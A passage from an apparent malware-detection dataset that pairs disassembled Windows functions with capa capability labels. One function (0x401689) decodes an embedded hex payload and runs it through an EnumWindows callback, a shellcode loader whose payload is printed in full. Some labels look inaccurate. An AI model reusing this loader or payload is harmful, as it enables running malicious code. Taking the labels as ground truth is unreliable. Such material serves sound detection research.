joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400480b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400ed080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov edi, r9d
mov rbx, rdx
test r8b, r8b
jne 0x1400481a2
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.1400215b0
mov rdx, rbx
lea rcx, [rsp + 0x80]
call fcn.1400215b0
mov dword [rsp + 0xa0], edi
mov ecx, 0x48
call fcn.14007ff14
mov rbx, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.1400215b0
nop
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x80]
call fcn.1400215b0
mov ecx, dword [rsp + 0xa0]
mov dword [rbx + 0x40], ecx
mov qword [rsp + 0x50], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x14004e9d0]
xor edx, edx
xor ecx, ecx
call fcn.1400902ac
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400481e5
lea rcx, [rsp + 0x60]
call fcn.140048210
cmp dword [rsp + 0x38], 0
je 0x1400481f8
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.14007f250
test eax, eax
jne 0x1400481f8
jmp 0x1400481c4
cmp qword [rdx + 0x18], 7
jbe 0x1400481ac
mov rbx, qword [rdx]
cmp qword [rcx + 0x18], 7
jbe 0x1400481b6
mov rcx, qword [rcx]
mov r8, rbx
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14007fec0
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop rdi
ret
mov dword [rsp + 0x38], 0
mov ecx, 6
call fcn.14007ea1c
nop
mov ecx, 1
call fcn.14007ea1c
int3

Function at 0x1400482d0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x1400ed080]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
mov dword [rsp + 0x34], ebp
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbp + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], rbp
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], bp
jne 0x140048340
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140007b80
mov dword [rsp + 0x34], 1
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xd
jb 0x1400483a3
lea rsi, [rcx + 0xd]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x140048387
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x1a
lea rdx, [0x1400cee20]
call fcn.1400a4470
mov word [rdi + rsi*2], bp
jmp 0x1400483c6
mov qword [rsp + 0x20], SafeArrayDestroy
lea r9, [0x1400cee20]
movzx r8d, byte [rsp + 0x30]
mov edx, SafeArrayDestroy
mov rcx, rbx
call fcn.140024c00
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14007fec0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140048400
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400ed080]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebp, ebp
lea rcx, [rsp + 0x58]
call fcn.1400482d0
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x17
jb 0x140048479
lea rsi, [rcx + 0x17]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x14004845d
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x2e
lea rdx, str._trainer_settingsdebug
call fcn.1400a4470
mov word [rdi + rsi*2], bp
jmp 0x14004849f
mov qword [rsp + 0x20], reloc.OLEAUT32.dll_SafeArrayUnaccessData
lea r9, str._trainer_settingsdebug
movzx r8d, byte [rsp + 0x30]
mov edx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
mov rcx, rbx
call fcn.140024c00
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x38], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x48], xmm1
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 7
mov word [rbx], bp
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne bl
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x14004852f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004852a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400485af
call fcn.14007fee0
movdqa xmm0, xmmword [0x1400dc110]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x38], bp
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140048580
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004857b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400485a9
call fcn.14007fee0
movzx eax, bl
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14007fec0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140086df4
nop
call fcn.140086df4
nop
int3
Function at 0x140056be0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400ed080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movzx edi, r8b
xor ebp, ebp
lea rcx, [rsp + 0x60]
call fcn.140019590
mov rsi, rax
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1400f1640]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140019590
mov byte [rsp + 0xa0], dil
mov qword [rsp + 0xa8], rbx
lea ecx, [rbp + 0x30]
call fcn.14007ff14
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x98], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rsp + 0x80], bpl
mov byte [rax + 0x20], dil
mov qword [rax + 0x28], rbx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebp
mov r9, rax
lea r8, [0x1400428d0]
xor edx, edx
xor ecx, ecx
call fcn.1400902ac
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140056d64
cmp dword [rsp + 0x48], ebp
je 0x140056d59
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.14007f250
test eax, eax
jne 0x140056d59
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140056d21
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140056d1c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140056d73
mov rcx, r8
call fcn.14007fee0
mov qword [rsi + 0x10], rbp
mov qword [rsi + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rsi], 0
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14007fec0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov ecx, 1
call fcn.14007ea1c
nop
mov dword [rsp + 0x48], ebp
mov ecx, 6
call fcn.14007ea1c
nop
call fcn.140086df4
int3
Function at 0x140058b00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
sub rsp, 0x58
mov rcx, qword [0x1400f1640]
test rcx, rcx
je 0x140058bf8
mov rcx, qword [rcx + 8]
lea r9, [rax + 8]
mov qword [rax - 8], rbx
lea rdx, [rax + 0x10]
xor ebx, ebx
mov dword [rax + 0x10], 0xa
mov dword [rax + 8], ebx
mov qword [rax - 0x38], rbx
lea r8d, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [0x1400cf580]
lea rdx, [rsp + 0x30]
movsd xmm0, qword [str.SAVE_SETTINGS]
mov rcx, qword [0x1400f1640]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x1400cf584]
mov byte [rsp + 0x3c], al
mov word [rsp + 0x3e], bx
mov qword [rsp + 0x40], SafeArrayDestroy
mov qword [rsp + 0x48], reloc.OLEAUT32.dll_SafeArrayDestroy
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x3d], bl
call fcn.140035770
mov rcx, qword [0x1400f1640]
lea r9, [rsp + 0x68]
lea r8d, [rbx + 4]
mov dword [rsp + 0x60], ebx
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x68], ebx
mov qword [rsp + 0x20], rbx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [rsp + 0x60], 1
jne 0x140058bf3
mov rcx, qword [0x1400f1640]
lea r9, [rsp + 0x70]
lea r8d, [rbx + 4]
mov dword [rsp + 0x78], ebx
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x70], ebx
mov qword [rsp + 0x20], rbx
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
ret
Function at 0x14005cd40
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x1400ed080]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor edi, edi
mov rax, qword [0x1400f0d28]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r8
mov r9, rdx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 0xa0]
call rax
mov rbx, rax
test rax, rax
jne 0x14005ced0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.14005da60
nop
lea r8, [0x1400f11b0]
cmp qword [0x1400f11c8], 7
cmova r8, qword [0x1400f11b0]
mov r9, qword [0x1400f11c0]
mov rcx, rax
call fcn.1400350f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea r8, [0x1400f0f90]
cmp qword [0x1400f0fa8], 7
cmova r8, qword [0x1400f0f90]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14005ce78
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ce73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cf19
call fcn.14007fee0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], di
mov rdx, qword [rsp + 0x80]
cmp rdx, 7
jbe 0x14005cecc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cec7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cf13
call fcn.14007fee0
xor al, al
jmp 0x14005cef2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14007fec0
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret
call fcn.140086df4
nop
call fcn.140086df4
nop
int3
Function at 0x14006a7c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov ebp, r9d
xor r8d, r8d
mov rsi, rdx
mov rbx, rcx
cmp rdi, 0xffffffffffffffff
jne 0x14006a824
movzx eax, byte [rdx]
mov edi, r8d
test al, al
je 0x14006a818
nop dword [rax]
nop word [rax + rax]
imul r8d, r8d, 0x1003f
inc rdi
movzx eax, al
add r8d, eax
movzx eax, byte [rdi + rdx]
test al, al
jne 0x14006a800
test rdi, rdi
jne 0x14006a852
xor eax, eax
jmp 0x14006a8d7
mov rdx, r8
test rdi, rdi
je 0x14006a81d
nop dword [rax]
movzx eax, byte [rdx + rsi]
test al, al
je 0x14006a84c
imul r8d, r8d, 0x1003f
inc rdx
add r8d, eax
cmp rdx, rdi
jb 0x14006a830
jmp 0x14006a818
mov r8d, 0x11
mov eax, dword [rcx + 0x128]
mov edx, r8d
movzx ecx, byte [rcx + 0x12c]
xor edx, ebp
mov qword [rsp + 0x30], r14
mov r14d, 0xffffffff
cmp ebp, r14d
cmove edx, r8d
imul rax, rdx
shr rax, cl
imul eax, dword [rbx + 0x120]
mov rbx, qword [rbx + 0x110]
sub edx, eax
mov rbx, qword [rbx + rdx*8]
test rbx, rbx
je 0x14006a8cf
mov eax, dword [rbx + 0x30]
cmp eax, edi
jne 0x14006a8be
cmp dword [rbx + 0x14], ebp
jne 0x14006a8be
lea rcx, [rbx + 0x34]
cmp eax, 0xb
jbe 0x14006a8af
mov rcx, qword [rbx + 0x38]
mov r8d, edi
mov rdx, rsi
call fcn.1400a4370
test eax, eax
je 0x14006a8c6
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14006a896
test rbx, rbx
je 0x14006a8cf
mov r14d, dword [rbx + 0xc]
mov eax, r14d
mov r14, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400733a0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1400ed080]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, qword [r9 + 0x10]
mov rdi, r9
mov r14, r8
mov rsi, rdx
mov r15, rcx
cmp rbx, 0x20
ja 0x140073494
xor r12d, r12d
nop dword [rax + rax]
mov r10, qword [rdi + 8]
mov r9, r12
test rbx, rbx
je 0x140073428
lea rax, [rsp + 0x20]
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea r8, [rsp + 0x20]
mov ecx, 0x20
add r8, r9
movzx edx, byte [r10 + r8]
lea eax, [rdx - 0x41]
cmp al, 0x19
cmova ecx, r12d
inc r9
xor cl, dl
mov byte [r8], cl
cmp r9, rbx
jb 0x140073400
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140072c10
mov dword [rsi], eax
test eax, eax
jne 0x140073451
mov rax, qword [r15]
lea rdx, [rsp + 0x20]
mov r8, rbx
movzx ecx, byte [rax + 0x48]
call fcn.140078840
mov dword [rsi], eax
cmp dword [rsi], r12d
jne 0x1400734bc
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1400730e0
test eax, eax
je 0x140073494
mov ecx, dword [r14]
test eax, ecx
jne 0x1400734b5
or ecx, eax
xor r8d, r8d
mov dword [r14], ecx
mov rdx, rdi
lea rcx, [r15 + 8]
call fcn.1400788d0
cmp al, 2
jne 0x140073494
mov rbx, qword [rdi + 0x10]
cmp rbx, 0x20
jbe 0x1400733e0
mov eax, 0x1a
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14007fec0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov eax, 0x37
jmp 0x140073499
xor r8d, r8d
lea rcx, [r15 + 8]
mov rdx, rdi
call fcn.1400788d0
cmp al, 2
jne 0x140073533
mov rdx, qword [rdi + 0x10]
cmp rdx, 0x20
ja 0x140073533
mov r11, qword [rdi + 8]
mov r10, r12
test rdx, rdx
je 0x14007351a
lea rax, [rsp + 0x20]
sub r11, rax
nop dword [rax]
lea r9, [rsp + 0x20]
mov ecx, 0x20
add r9, r10
movzx r8d, byte [r11 + r9]
lea eax, [r8 - 0x41]
cmp al, 0x19
cmova ecx, r12d
inc r10
xor cl, r8b
mov byte [r9], cl
cmp r10, rdx
jb 0x1400734f0
lea rcx, [rsp + 0x20]
call fcn.1400730e0
cmp eax, 0x10
jne 0x140073533
or dword [r14], eax
xor eax, eax
jmp 0x140073499
mov rax, qword [rdi + 8]
mov qword [r15 + 0x18], rax
xor eax, eax
jmp 0x140073499
Function at 0x14007d9f0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14007da2a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14007da2f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14007da78
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400be010]
cmp byte [rcx + rax], 0
je 0x14007da78
dec r8
sub rdx, 1
jne 0x14007da5e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140080dcc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140080e16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140080e16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140080e16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140080e16
cmp dword [rcx + 0x84], 0xe
jbe 0x140080e16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140080e18
xor al, al
add rsp, 0x28
ret

Function at 0x140090874
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140090707
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140090707
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140090707
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140090707
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140090707
cmp dword [rcx + 0x84], 0xe
jbe 0x140090707
cmp dword [rcx + 0xf8], 0
je 0x140090707
mov ecx, ebx
call fcn.1400907a8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140090598
cmp dword [rbp + 0x20], 0
je 0x140090754
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14009075c
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400906a0
Function at 0x1400a4090
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400a40b8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400a40b8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404430]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404440]
mov dword [rax], 1
mov rax, qword [0x00404450]
mov dword [rax], 1
mov rax, qword [0x00404420]
mov dword [rax], 1
mov rax, qword [0x004042e0]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x00404410]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x00404370]
mov qword [rdx], rax
mov rdx, qword [0x00404360]
mov qword [rdx], rax
mov rax, qword [0x004043d0]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404290]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401689
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x643c0
call fcn.00402c90
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x60]
lea rax, str.7eff141e576f58846c92843c10845dfff58c9d20ab149f9884ad98840f98949c13d47c98943c98845dff5e354a85ab149c13842f988485140000010086951404a66f98e5024c38845dfff58c9d20ab149f9884851440a69c13d42e988401ce38845dff652a5b0f865e57ecff94c0470c585dff16475a99ab149f98842e98c4851401a67c98845dff0efdf0aeab141c98840cff842c98840cff840c13d49c13d40505e514a0a65dff00b60892ab14950000101086ae98c45dff706277c4ab141f98c44e9894451445b6f1caa2320020cb945e98940000100ace18846e9894651400002333f5233777eb94d5ffffffb49e21b884a59514850eff251402ce3884a51495148514a595e5851485140d10848840b8140d1094c104b84484c0b814660d10944204b844858d571d93548042c430c41f570e831c1014d09c1c14ca0c13846d10848843b8149c13d49cff84653e058184b80d10940204b8440d108476470c58840000008808b80000002758f020b0818718660d10841514c324b80225b88425de2e1c1014d09c1c1402c220c716c3ca0c13840527b8849c13d4a4a47bf0840225b8848125b8840625b8845665152d13842505141514000000cc8e0f4e3884cf
mov ecx, 0x70
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
movzx ecx, word [rax]
mov word [rdx], cx
lea rdx, [rdx + 2]
lea rax, [rax + 2]
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__strrev]
call rax
lea rax, [rbp + 0x330]
mov edx, 0x64000
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.StringToHex_char__unsigned_char_
mov r8d, 0
mov edx, 0
mov ecx, 0x40000
mov rax, qword [sym.imp.KERNEL32.dll_HeapCreate]
call rax
mov qword [rbp + 0x64338], rax
mov rax, qword [rbp + 0x64338]
mov r8d, 0x64000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x64330], rax
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x64330]
mov r8d, 0x64000
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x64330]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_EnumWindows]
call rax
nop
add rsp, 0x643c0
pop rsi
pop rdi
pop rbp
ret
Function at 0x4019b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x401aca
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4019fe
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401ab0
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x4019e2
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401b02
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401ae5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401aa9
sub eax, 0x40
and eax, 0xffffffbf
je 0x401aa9
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401ad1
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x401a0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x4026e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026f0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402700
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402741
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
